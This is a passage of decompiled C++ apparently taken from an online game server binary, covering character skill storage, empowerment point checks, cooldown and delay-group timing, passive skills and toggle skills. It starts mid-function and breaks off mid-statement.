{ CharaterSkillList *v1; // edi@1 int v2; // eax@1 int v3; // esi@1 int v4; // ebp@1 int i; // ebx@1 int v6; // eax@3 CharaterSkillList::CharSkill *v7; // ecx@4 __int16 DefSkillID; // [sp+10h] [bp-18h]@2 __int16 SkillInfo; // [sp+14h] [bp-14h]@8 unsigned int v10; // [sp+18h] [bp-10h]@8 __int16 v11; // [sp+1Ch] [bp-Ch]@8 int v12; // [sp+20h] [bp-8h]@8 int v13; // [sp+24h] [bp-4h]@8 v1 = this; v2 = DefSkillData::dsd_GetSkillMaxNum(&defskill); v3 = v1->csl_SkillNumber; v4 = v2; for ( i = 0; i < v4; ++i ) { if ( !DefSkillData::dsd_GetSkillID(&defskill, i, (unsigned __int16 *)&DefSkillID) ) break; v6 = 0; if ( v3 <= 0 ) { LABEL_8: SkillInfo = DefSkillID; v10 = clockwatch.cw_CurrTick; v13 = v6; v11 = v6; v12 = v6; std::vector>::push_back( &v1->csl_Skill, (CharaterSkillList::CharSkill *)&SkillInfo); ++v1->csl_SkillNumber; } else { v7 = v1->csl_Skill._Myfirst; while ( DefSkillID != v7->cs_SkillId ) { ++v6; ++v7; if ( v6 >= v3 ) { v6 = 0; goto LABEL_8; } } } } } //----- (0043D1D0) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_StoreSetAbstateList(CharacterPassiveList *this, PassiveDataBox::PSSetAbstateIndex *const nSkillID) { CharacterPassiveList *v2; // esi@1 PassiveDataBox::PSSetAbstateIndex *v3; // eax@1 PassiveDataBox::PSSetAbstateIndex *v4; // edi@3 void **v5; // edx@4 void *i; // eax@4 int v7; // ecx@5 std::_List_nod >::_Node *v8; // edi@11 std::list > *v9; // esi@11 std::_List_nod >::_Node *v10; // ebx@11 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CharacterPassiveList::cpl_StoreSetAbstateList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::cpl_StoreSetAbstateList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = PassiveDataBox::sdb_GetSetAbstate((PassiveDataBox *)&passivedatabox, (unsigned __int16)nSkillID); nSkillID = v3; if ( v3 ) { v4 = v3->pssabs_Prev; if ( v4 ) { v5 = (void **)v2->cpl_SetAbstateList._Myhead; for ( i = *v5; i != v5; i = *(void **)i ) { v7 = *((_DWORD *)i + 2); if ( !v7 ) break; if ( v4->pssabs_nID == *(_WORD *)v7 ) { if ( i != v2->cpl_SetAbstateList._Myhead ) { **((_DWORD **)i + 1) = *(_DWORD *)i; *(_DWORD *)(*(_DWORD *)i + 4) = *((_DWORD *)i + 1); operator delete(i); --v2->cpl_SetAbstateList._Mysize; } break; } } } v8 = v2->cpl_SetAbstateList._Myhead; v9 = &v2->cpl_SetAbstateList; v10 = std::list>::_Buynode(v9, v8, v8->_Prev, &nSkillID); std::list>::_Incsize(v9, 1u); v8->_Prev = v10; v10->_Prev->_Next = v10; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CharacterPassiveList::cpl_StoreSetAbstateList"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CharacterPassiveList::cpl_StoreSetAbstateList"); } } //----- (0043D320) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharacterToggleSkill *_Val) { std::vector > *v2; // esi@1 CharaterSkillList::CharacterToggleSkill *v3; // edx@1 signed int v4; // ecx@2 CharaterSkillList::CharacterToggleSkill *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v2->_Mylast, 1u, (std::list,std::allocator > >::iterator *)_Val, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0043D390) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::operator__(SkillDataBox *this, unsigned __int16 sub) { SkillDataBox *v2; // eax@1 unsigned int v3; // ecx@1 const void *v4; // ST04_4@1 SkillDataBox::SkillDataIndex *result; // eax@5 char key; // [sp+8h] [bp-518h]@1 ActiveSkillInfo *v7; // [sp+Ch] [bp-514h]@1 void *v8; // [sp+14h] [bp-50Ch]@1 int v9; // [sp+18h] [bp-508h]@1 int v10; // [sp+1Ch] [bp-504h]@1 void *p; // [sp+24h] [bp-4FCh]@1 int v12; // [sp+28h] [bp-4F8h]@1 int v13; // [sp+2Ch] [bp-4F4h]@1 ActiveSkillInfo asi; // [sp+274h] [bp-2ACh]@1 unsigned int v15; // [sp+510h] [bp-10h]@1 v15 = (unsigned int)&key ^ __security_cookie; v2 = this; v8 = 0; v9 = 0; v10 = 0; v7 = &asi; v3 = this->sdb_MaxValid; asi.ID = sub; v4 = v2->sdb_ValidArray; p = 0; v12 = 0; v13 = 0; bsearch(&key, v4, v3, 0x26Cu, SkillDataBox::sdb_compare); if ( p ) operator delete(p); p = 0; v12 = 0; v13 = 0; if ( v8 ) operator delete(v8); __security_check_cookie((unsigned int)&key ^ v15); return result; } //----- (0043D470) -------------------------------------------------------- unsigned __int16 __thiscall CharaterSkillList::csl_MaximumSkill(CharaterSkillList *this, unsigned __int16 skill) { SkillDataBox::SkillDataIndex *v2; // eax@1 SkillDataBox::SkillDataIndex *i; // ecx@1 unsigned __int16 v4; // si@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_MaximumSkill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_MaximumSkill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = SkillDataBox::operator__(&skilldatabox, skill); for ( i = v2->sdi_NextSkill; i; i = i->sdi_NextSkill ) v2 = i; v4 = v2->sdi_Activ->ID; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_MaximumSkill"); return v4; } //----- (0043D530) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_EmpowerStruct(CharaterSkillList *this, unsigned __int16 skill, SKILL_EMPOWER *empower) { CharaterSkillList *v3; // ebp@1 SkillDataBox::SkillDataIndex *i; // edi@1 CharaterSkillList::CharSkill *v5; // eax@2 __int16 v6; // cx@3 __int16 v7; // dx@3 __int16 v8; // cx@3 __int16 v9; // ax@7 unsigned int v10; // eax@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerStruct"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerStruct"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; empower->_bf0 = 0; for ( i = SkillDataBox::operator__(&skilldatabox, skill); i; i = i->sdi_PrevSkill ) { v5 = CharaterSkillList::csl_GetSkillStruct(v3, i->sdi_Activ->ID); if ( v5 ) { v6 = empower->_bf0 ^ ((unsigned __int8)empower->_bf0 ^ (unsigned __int8)(empower->_bf0 + LOBYTE(v5->cs_Empower._bf0))) & 0xF; empower->_bf0 = v6; v7 = v6 ^ (unsigned __int8)((v6 ^ ((_BYTE)v6 + (v5->cs_Empower._bf0 & 0xF0))) & 0xF0); empower->_bf0 = v7; v8 = v7 ^ (v7 ^ (v7 + (v5->cs_Empower._bf0 & 0xFF00))) & 0xF00; empower->_bf0 = v8; empower->_bf0 = v8 + (v5->cs_Empower._bf0 & 0xF000); } } if ( (empower->_bf0 & 0xFu) > 5 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", empower->_bf0 & 0xF); empower->_bf0 = empower->_bf0 & 0xFFF5 | 5; } v9 = empower->_bf0; if ( (v9 & 0xF0u) > 0x50 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (unsigned __int8)empower->_bf0 >> 4); empower->_bf0 = empower->_bf0 & 0xFF5F | 0x50; } HIWORD(v10) = 0; if ( (empower->_bf0 & 0xF00u) > 0x500 ) { LOWORD(v10) = empower->_bf0; AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (v10 >> 8) & 0xF); empower->_bf0 = empower->_bf0 & 0xF5FF | 0x500; } if ( (empower->_bf0 & 0xF000u) > 0x5000 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (unsigned int)empower->_bf0 >> 12); empower->_bf0 = empower->_bf0 & 0xFFF | 0x5000; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerStruct"); } //----- (0043D760) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_EmpowerAlloc(CharaterSkillList *this, PROTO_NC_SKILL_EMPOWALLOC_REQ *empalloc, SKILL_EMPOWER *empowresult) { CharaterSkillList *v3; // edi@1 PROTO_NC_SKILL_EMPOWALLOC_REQ *v4; // esi@1 int v5; // edx@1 unsigned __int16 v6; // ax@1 int v7; // ecx@1 int v9; // ebp@3 int v10; // edi@3 unsigned int v11; // edi@5 unsigned int v12; // eax@9 unsigned int v13; // edx@9 int v14; // eax@9 __int16 v15; // bx@11 int v16; // ecx@11 bool v17; // zf@11 __int16 v18; // ax@14 CharaterSkillList::CharSkill *v19; // edi@17 __int16 v20; // cx@18 char v21; // al@18 __int16 v22; // ax@18 __int16 v23; // cx@18 int v24; // eax@18 __int16 v25; // cx@18 int v26; // ecx@18 int v27; // eax@18 int v28; // ecx@18 int v29; // eax@18 int v30; // ecx@18 SKILL_EMPOWER *v31; // eax@18 const char *v32; // [sp-Ch] [bp-30h]@6 int v33; // [sp-8h] [bp-2Ch]@6 FunctionEntarance _; // [sp+Ch] [bp-18h]@1 unsigned int v35; // [sp+10h] [bp-14h]@9 CharaterSkillList *thisa; // [sp+14h] [bp-10h]@1 int v37; // [sp+20h] [bp-4h]@1 v3 = this; thisa = this; _.fe_FunctionCode = "CharaterSkillList::csl_EmpowerAlloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = empalloc; v5 = empalloc->skill; v37 = 0; v6 = CharaterSkillList::csl_MaximumSkill(v3, v5); CharaterSkillList::csl_EmpowerStruct(v3, v6, (SKILL_EMPOWER *)&empalloc); v7 = (unsigned __int8)empalloc & 0xF; if ( (v4->plus._bf0 & 0xF) + v7 > 5 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point1", (v4->plus._bf0 & 0xF) + v7); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v9 = (unsigned __int8)empalloc >> 4; v10 = (unsigned __int8)(LOBYTE(v4->plus._bf0) >> 4) + v9; if ( v10 > 5 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point2", v10); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v11 = ((unsigned int)(unsigned __int16)empalloc >> 8) & 0xF; if ( (signed int)(v11 + (HIBYTE(v4->plus._bf0) & 0xF)) > 5 ) { v33 = v11 + (HIBYTE(v4->plus._bf0) & 0xF); v32 = "CharaterSkillList::csl_EmpowerAlloc : Too many point3"; LABEL_7: AssertClass::ac_AssertFail(&shineassert, v32, v33); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); return 0; } v12 = (unsigned int)(unsigned __int16)empalloc >> 12; v13 = (unsigned int)v4->plus._bf0 >> 12; v35 = v12; v14 = v13 + v12; if ( v14 > 5 ) { v33 = v14; v32 = "CharaterSkillList::csl_EmpowerAlloc : Too many point4"; goto LABEL_7; } v15 = (signed __int16)empalloc; v16 = v7 - (v4->minus._bf0 & 0xF); v17 = (unsigned __int8)((unsigned __int8)empalloc & 0xF) < (unsigned __int8)(v4->minus._bf0 & 0xF); empalloc = (PROTO_NC_SKILL_EMPOWALLOC_REQ *)((unsigned __int8)((unsigned __int8)empalloc & 0xF) >= (unsigned __int8)(v4->minus._bf0 & 0xF)); if ( v17 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point5", v16); LABEL_13: v37 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v18 = v4->minus._bf0; if ( AssertClass::operator__( &shineassert, (v15 & 0xF0u) >= (v18 & 0xF0u), "CharaterSkillList::csl_EmpowerAlloc : Too many point6", v9 - ((unsigned __int8)v4->minus._bf0 >> 4)) || AssertClass::operator__( &shineassert, (v15 & 0xF00u) >= (v4->minus._bf0 & 0xF00u), "CharaterSkillList::csl_EmpowerAlloc : Too many point7", v11 - (((unsigned int)v4->minus._bf0 >> 8) & 0xF)) || AssertClass::operator__( &shineassert, (v15 & 0xF000u) >= (v4->minus._bf0 & 0xF000u), "CharaterSkillList::csl_EmpowerAlloc : Too many point8", v35 - ((unsigned int)v4->minus._bf0 >> 12)) || (v19 = CharaterSkillList::csl_GetSkillStruct(thisa, v4->skill), AssertClass::operator__(&shineassert, v19 != 0, "CharaterSkillList::csl_EmpowerAlloc : Not learn", 0)) ) goto LABEL_13; v20 = v19->cs_Empower._bf0; v21 = v20 ^ (v20 + LOBYTE(v4->plus._bf0)); v37 = -1; v22 = v20 ^ v21 & 0xF; v19->cs_Empower._bf0 = v22; v23 = v22 ^ (unsigned __int8)((v22 ^ (LOBYTE(v4->plus._bf0) + (v22 & 0xF0))) & 0xF0); v19->cs_Empower._bf0 = v23; LOWORD(v24) = v23 ^ (v23 ^ (v23 + (v4->plus._bf0 & 0xFF00))) & 0xF00; v19->cs_Empower._bf0 = v24; v25 = v24 ^ v4->plus._bf0; v24 &= 0xF000u; LOWORD(v24) = v4->plus._bf0 + v24; v26 = v24 ^ v25 & 0xFFF; v19->cs_Empower._bf0 = v26; v27 = v26 ^ ((unsigned __int8)v26 ^ (unsigned __int8)(v26 - LOBYTE(v4->minus._bf0))) & 0xF; v19->cs_Empower._bf0 = v27; v28 = v27 ^ (unsigned __int8)((v27 ^ ((_BYTE)v27 - 16 * ((LOBYTE(v4->minus._bf0) >> 4) & 0xF))) & 0xF0); v19->cs_Empower._bf0 = v28; v29 = v28 ^ ((unsigned __int16)v28 ^ (unsigned __int16)((_WORD)v28 - ((HIBYTE(v4->minus._bf0) & 0xF) << 8))) & 0xF00; HIWORD(v28) = 0; v19->cs_Empower._bf0 = v29; LOWORD(v28) = (unsigned __int16)v4->minus._bf0 >> 12; v30 = v29 - (v28 << 12); v31 = empowresult; v19->cs_Empower._bf0 = v30; v31->_bf0 = v30; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (0043DB60) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_GetDelayGroup(CharaterSkillList *this, unsigned __int16 skill, int *millisec) { SkillDataBox::SkillDataIndex *v3; // eax@1 int v4; // esi@2 int result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_GetDelayGroup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = SkillDataBox::operator__(&skilldatabox, skill); if ( v3 ) { *millisec = v3->sdi_Activ->DlyTimeGroup; v4 = v3->sdi_Activ->DlyGroupNum; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = v4; } else { if ( GatherProduce::RecipeBook::operator__(&recipebook, skill) ) { *millisec = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_GetDelayGroup : Cannot found Skill", skill); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = -1; } } return result; } //----- (0043DCB0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_SetCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount) { CharaterSkillList *v6; // edi@1 unsigned int v7; // esi@1 CharaterSkillList::CharSkill *v8; // ecx@1 int v9; // ebx@3 int i; // ebp@3 int v11; // eax@4 CharaterSkillList::CharSkill *v12; // ecx@5 unsigned int v13; // eax@6 char *v14; // [sp-4h] [bp-24h]@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_SetCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_SetCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; v8 = CharaterSkillList::csl_GetSkillStruct(v6, skill); if ( v8 != 0 ) { v9 = empowdiscount; v8->cs_EndOfCooltime = ((unsigned int)(10 * (cooltime_milli - empowdiscount) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6) + clockwatch.cw_CurrTick - 3; for ( i = 0; i < v6->csl_SkillNumber; ++v7 ) { v11 = CharaterSkillList::csl_GetDelayGroup(v6, v6->csl_Skill._Myfirst[v7].cs_SkillId, (int *)&cooltime_milli); if ( v11 == delaygroupnum ) { v12 = v6->csl_Skill._Myfirst; if ( v12[v7].cs_SkillId != skill ) { v13 = ((unsigned int)(10 * (delaygroupcooltime_milli - v9) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6) + clockwatch.cw_CurrTick - 3; if ( v12[v7].cs_EndOfCooltime < v13 ) v12[v7].cs_EndOfCooltime = v13; } } ++i; } v14 = "CharaterSkillList::csl_SetCoolTime"; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_SetCoolTime : Not learn", skill); v14 = "CharaterSkillList::csl_SetCoolTime"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (0043DE00) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Toggle_Store(CharaterSkillList *this, CharaterSkillList::CharacterToggleSkill nSkillID) { unsigned __int16 v2; // si@1 CharaterSkillList *v3; // edi@1 SkillDataBox::SkillDataIndex *v4; // eax@1 ToggleSkill **v5; // edx@3 SkillDataBox::SkillDataIndex *v6; // eax@5 unsigned __int16 *v7; // eax@6 CharaterSkillList::CharacterToggleSkill *v8; // eax@7 v2 = nSkillID.cts_nSkillID; v3 = this; v4 = SkillDataBox::operator__(&skilldatabox, nSkillID.cts_nSkillID); if ( v4 ) { v5 = v4->sdi_ToggleData._Myfirst; if ( v5 && v4->sdi_ToggleData._Mylast - v5 ) { v6 = v4->sdi_PrevSkill; nSkillID.cts_nSkillID = v2; nSkillID.cts_bSkillOn = 0; if ( v6 ) { v7 = (unsigned __int16 *)v6->sdi_Activ; if ( v7 ) { v8 = CharaterSkillList::csl_Toggle_GetToggleSkill(v3, *v7); if ( v8 ) nSkillID.cts_bSkillOn = v8->cts_bSkillOn; } } std::vector>::push_back( &v3->csl_ToggleSkill, &nSkillID); } } else { AssertClass::ac_AssertFail(&shineassert, "CharacterSkillList::csl_Toggle_Store : INVALID Skill Data", v2); } } //----- (0043DE90) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Toggle_SetOnOff(CharaterSkillList *this, unsigned __int16 nSkillID, char bOn) { CharaterSkillList *v3; // edi@1 CharaterSkillList::CharacterToggleSkill *v4; // ecx@1 SkillDataBox::SkillDataIndex *v5; // eax@3 SkillDataBox::SkillDataIndex *v6; // ebp@3 SkillDataBox::SkillDataIndex *v7; // esi@5 unsigned __int16 *v8; // eax@6 CharaterSkillList::CharacterToggleSkill *v9; // eax@7 SkillDataBox::SkillDataIndex *v10; // esi@10 unsigned __int16 *v11; // eax@11 CharaterSkillList::CharacterToggleSkill *v12; // eax@12 v3 = this; v4 = this->csl_ToggleSkill._Myfirst; if ( v4 && v3->csl_ToggleSkill._Mylast - v4 ) { v5 = SkillDataBox::operator__(&skilldatabox, nSkillID); v6 = v5; if ( v5 ) { v7 = v5; do { v8 = (unsigned __int16 *)v7->sdi_Activ; if ( !v8 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_Toggle_SetOnOff : INVALID Skill Activ PrevSkill", 0); return; } v9 = CharaterSkillList::csl_Toggle_GetToggleSkill(v3, *v8); if ( v9 ) v9->cts_bSkillOn = bOn; v7 = v7->sdi_PrevSkill; } while ( v7 ); v10 = v6->sdi_NextSkill; if ( v10 ) { while ( 1 ) { v11 = (unsigned __int16 *)v10->sdi_Activ; if ( !v11 ) break; v12 = CharaterSkillList::csl_Toggle_GetToggleSkill(v3, *v11); if ( v12 ) v12->cts_bSkillOn = bOn; v10 = v10->sdi_PrevSkill; if ( !v10 ) return; } AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_Toggle_SetOnOff : INVALID Skill Activ NextSkill", 0); } } else { AssertClass::ac_AssertFail(&shineassert, "CharacterSkillList::csl_Toggle_Store : INVALID Skill Data", nSkillID); } } } //----- (0043DF80) -------------------------------------------------------- #error "43DF80: undefined or illegal type '#593' (funcsize=93)" //----- (0043E090) -------------------------------------------------------- #error "43E090: undefined or illegal type '#593' (funcsize=46)" //----- (0043E100) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_DmgCoolTimeDown(CharaterSkillList *this) { CharaterSkillList *v1; // ebp@1 CharaterSkillList::CharSkill *v2; // eax@1 int v3; // ebx@1 int v4; // esi@5 CharaterSkillList::CharSkill *v5; // eax@6 SkillDataBox::SkillDataIndex *v6; // eax@7 char *v7; // [sp-4h] [bp-28h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CharaterSkillList::csl_SufferingAttack_CoolTimeMinus"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_SufferingAttack_CoolTimeMinus"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->csl_Skill._Myfirst; v3 = 0; if ( v2 && v1->csl_Skill._Mylast - v2 ) { if ( v1->csl_SkillNumber > 0 ) { v4 = 0; do { v5 = v1->csl_Skill._Myfirst; if ( v5[v4].cs_EndOfCooltime > clockwatch.cw_CurrTick ) { v6 = SkillDataBox::operator__(&skilldatabox, v5[v4].cs_SkillId); if ( v6 ) { if ( v6->sdi_DMGCOLLTIMEDOWN.exist == 1 ) v1->csl_Skill._Myfirst[v4].cs_EndOfCooltime -= ((signed int)((unsigned __int64)(10 * v6->sdi_DMGCOLLTIMEDOWN.value * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v6->sdi_DMGCOLLTIMEDOWN.value * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); } } ++v3; ++v4; } while ( v3 < v1->csl_SkillNumber ); } v7 = "CharaterSkillList::csl_SufferingAttack_CoolTimeMinus"; } else { v7 = "CharaterSkillList::csl_SufferingAttack_CoolTimeMinus"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } // 43E100: inconsistent function type and number of purged bytes //----- (0043E220) -------------------------------------------------------- void __thiscall CharacterPassiveList::psl_Store(CharacterPassiveList *this, unsigned __int16 skill, Name4 *name) { CharacterPassiveList *v3; // esi@1 unsigned int v4; // eax@2 char *v5; // eax@2 int v6; // ecx@4 #593 *v7; // eax@7 char *v8; // [sp-4h] [bp-1Ch]@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::psl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( skill < 0x3E8u ) { if ( skill < v3->cpl_Passive.bs_maxbit ) { v6 = skill & 0x80000007; if ( v6 < 0 ) LOBYTE(v6) = ((unsigned __int8)(v6 - 1) | 0xF8) + 1; v3->cpl_Passive.bs_bitlist[(unsigned int)skill >> 3] |= 1 << v6; } CharacterPassiveList::cpl_StoreSetAbstateList(v3, skill); v7 = ShineObjectManager::som_FindPlayer(&shineobjmanager, name); if ( v7 ) CharacterPassiveList::cpl_SetAbstate(v3, PS_AREAENEMYSPDOWN, v7, v7, 0, 0); v8 = "CharacterPassiveList::psl_Store"; } else { AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", skill); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_QWORD *)v5 = *(_QWORD *)&name->n4_name[0]; *((_QWORD *)v5 + 1) = *(_QWORD *)&name->n4_name[8]; v5[16] = 0; v8 = "CharacterPassiveList::psl_Store"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); } //----- (0043E360) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_Store(CharacterPassiveList *this, PROTO_NC_CHAR_SKILL_PASSIVE_CMD *data, Name4 *name) { CharacterPassiveList *v3; // ebp@1 signed int v4; // ebx@1 unsigned __int16 *v5; // edi@2 unsigned int v6; // eax@4 char *v7; // eax@4 unsigned int v8; // ecx@5 int v9; // eax@6 int v10; // ecx@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::psl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( data->number ) { v5 = (unsigned __int16 *)&data[1]; do { if ( *v5 < 0x3E8u ) { v8 = *v5; if ( v8 < v3->cpl_Passive.bs_maxbit ) { v9 = (int)&v3->cpl_Passive.bs_bitlist[v8 >> 3]; v10 = v8 & 0x80000007; if ( v10 < 0 ) LOBYTE(v10) = ((unsigned __int8)(v10 - 1) | 0xF8) + 1; *(_BYTE *)v9 |= 1 << v10; } CharacterPassiveList::cpl_StoreSetAbstateList(v3, *v5); } else { AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", *v5); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_QWORD *)v7 = *(_QWORD *)&name->n4_name[0]; *((_QWORD *)v7 + 1) = *(_QWORD *)&name->n4_name[8]; v7[16] = 0; } ++v4; ++v5; } while ( v4 < data->number ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); } //----- (0043E4B0) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Store(CharaterSkillList *this, PROTO_NC_CHAR_SKILL_CMD *charskill) { CharaterSkillList *v2; // esi@1 PROTO_NC_CHAR_SKILL_CMD *v3; // ebp@1 unsigned __int16 v4; // ax@1 signed int v5; // ebx@1 _BYTE v6[20]; // ST04_20@4 int v7; // edi@8 int v8; // eax@9 int v9; // eax@9 int v10; // eax@9 __int16 v11; // dx@9 int v12; // eax@9 CharaterSkillList::CharSkill *v13; // ecx@9 int v14; // eax@9 int v15; // ecx@12 char *v16; // [sp-4h] [bp-2Ch]@2 time_t cur; // [sp+10h] [bp-18h]@3 FunctionEntarance _; // [sp+14h] [bp-14h]@1 int v19; // [sp+18h] [bp-10h]@1 int v20; // [sp+24h] [bp-4h]@1 signed int charskilla; // [sp+2Ch] [bp+4h]@7 v2 = this; _.fe_FunctionCode = "CharaterSkillList::csl_Store"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = charskill; v4 = charskill->number; v5 = 0; v20 = 0; v19 = v4 < 0xBB8u; if ( v4 < 0xBB8u ) { mysecond(&cur); if ( !v2->csl_SkillNumber ) { *(_DWORD *)v6 = 0; *(_QWORD 